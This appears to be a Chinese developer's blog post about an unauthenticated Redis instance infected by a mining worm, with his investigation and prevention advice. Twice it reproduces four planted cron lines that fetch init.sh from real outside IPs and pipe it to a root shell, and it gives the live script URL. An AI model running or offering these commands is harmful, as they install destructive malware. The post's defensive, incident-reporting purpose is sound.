Redis扩散病毒之Redis数据丢失并设置backup

3,711 阅读4分钟

Redis扩散病毒之Redis数据丢失并设置backup

前言

博主近两天在做一个demo项目,项目中使用到了Redis,为了方便省事,博主用docker开启了一个Redis,并且没有设置密码,注意没有设置密码,因此导致了病毒有机可乘。那到底是什么样的病毒呢,以及会产生什么样的现象呢?

现象

你的Redis中自己的所有的key全部消失,同时只会剩下4个key分别为backup1、backup2、backup3、backup4,并且这种现象是周期性的,也就是说每隔一段时间你的Redis会flushall一次同时插入4个backup的key。

四个backup以及对应的值分别如下图所示:

image.png

backup1:
*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh
​
backup2:
*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh
​
backup3:
*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
​
backup4:
*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\

我的排查

出现了这种现象,我是怎么发现以及排查的呢?

初次显露

首先,刚开始做demo项目的时候,我没有在意,因为我的大部分key设置了TTL,因此过期是觉得很正常的,并且最后剩下4个backup的key,我认为是Redis是为了备份某些数据而存入的,毕竟key的名字是backup(可被翻译为备份),所以我就没关心。

但是,当我往Redis中放入stream消息队列的时候,我是没有设置TTL,因为我的demo项目会启动一个线程循环去MQ中取消息。出现严重的现象是,每隔一段时间,我的控制台就无限报错,发现是由于循环去MQ取消息造成的报错,于是我去Redis中查看stream队列是否存在,惊讶的发现已经没有了!!

发现问题

出现这种现象是我不能忍受的,于是我开启了Redis的监控功能,命令如下:

127.0.0.1:6379> monitor > /home/find_question.txt

意思是说,把redis执行的命令输入到find_question.txt文件中。

等到数据再次丢失的时候,我直接取这个文件中查看。

惊人的发现有flushall命令!!!并且还不止一处!!!同时设置了4个backup。也就是说给我安了个定时任务,定时执行这些命令!!!

image-20230201212622983

孬蛋,被我发现了吧 😡😡😡

病毒脚本分析

4个backup对应的value值如下

*/2 * * * * root cd1 -fsSL http://194.87.139.103:8080/cleanfda/init.sh | sh
​
*/3 * * * * root wget -q -O- http://194.87.139.103:8080/cleanfda/init.sh | sh
​
​
*/4 * * * * root curl -fsSL http://45.83.123.29/cleanfda/init.sh | sh
​
*/5 * * * * root wd1 -q -O- http://45.83.123.29/cleanfda/init.sh | sh\

虽然我看不很懂,但是能看出个大概,我们知道wget是用来下载东西的,curl是用于执行HTTP请求的(我们网站发送的HTTP请求底层正式curl命令),也就是你你在我服务器里下载了某些脚本,并且你的请求路径还有个cleanfda不就意味着清理吗。

查看他的脚本文件

好家伙,又是给我改权限,又是给我删东西。😡😡😡!!

具体内容大家可以查看: http://45.83.123.29/cleanfda/init.sh

总之,他会关闭你的防火墙删除日志文件删除各种东西杀掉某些进程删除镜像等等,这对于你的系统是致命的。

image-20230201221431603

查询下IP

好家伙,你去外国的服务器给我下载了东西。

image.png

博主也是为了验证下给大家避避雷,在服务器执行了这个脚本,结果发生了惨案,整个服务器算是废掉了,大部分命令都不能使用了,又重做了系统 。

可以看到他在我服务器执行了整个脚本,尝试删除一堆东西。。。最后我的服务器算是不能用了。之前好歹是在Docker容器中,不会对系统造成损害,这次是真寄了。

image-20230201205730170

image-20230201205807938

病毒说明

通过查资料得知,这是一种Redis扩散病毒,专门利用Redis未授权访问漏洞的挖矿病毒。对!你的Redis没设置密码,没授权,让病毒有了可乘之机。

病毒会在你系统上下载恶意脚本,危害系统安全!!

预防措施

一定要设置密码!

一定要设置密码!

一定要设置密码!

Linux系统安装Redis一定要设置密码,否则被入侵之后,后果很严重!!

如果用Docker启动Redis,最好使用IP绑定同时也要设置密码,不指定IP,那么默认是 0.0.0.0:6379,Docker 设置防火墙开放 0.0.0.0:6379,任何 IP 都可以访问 6379。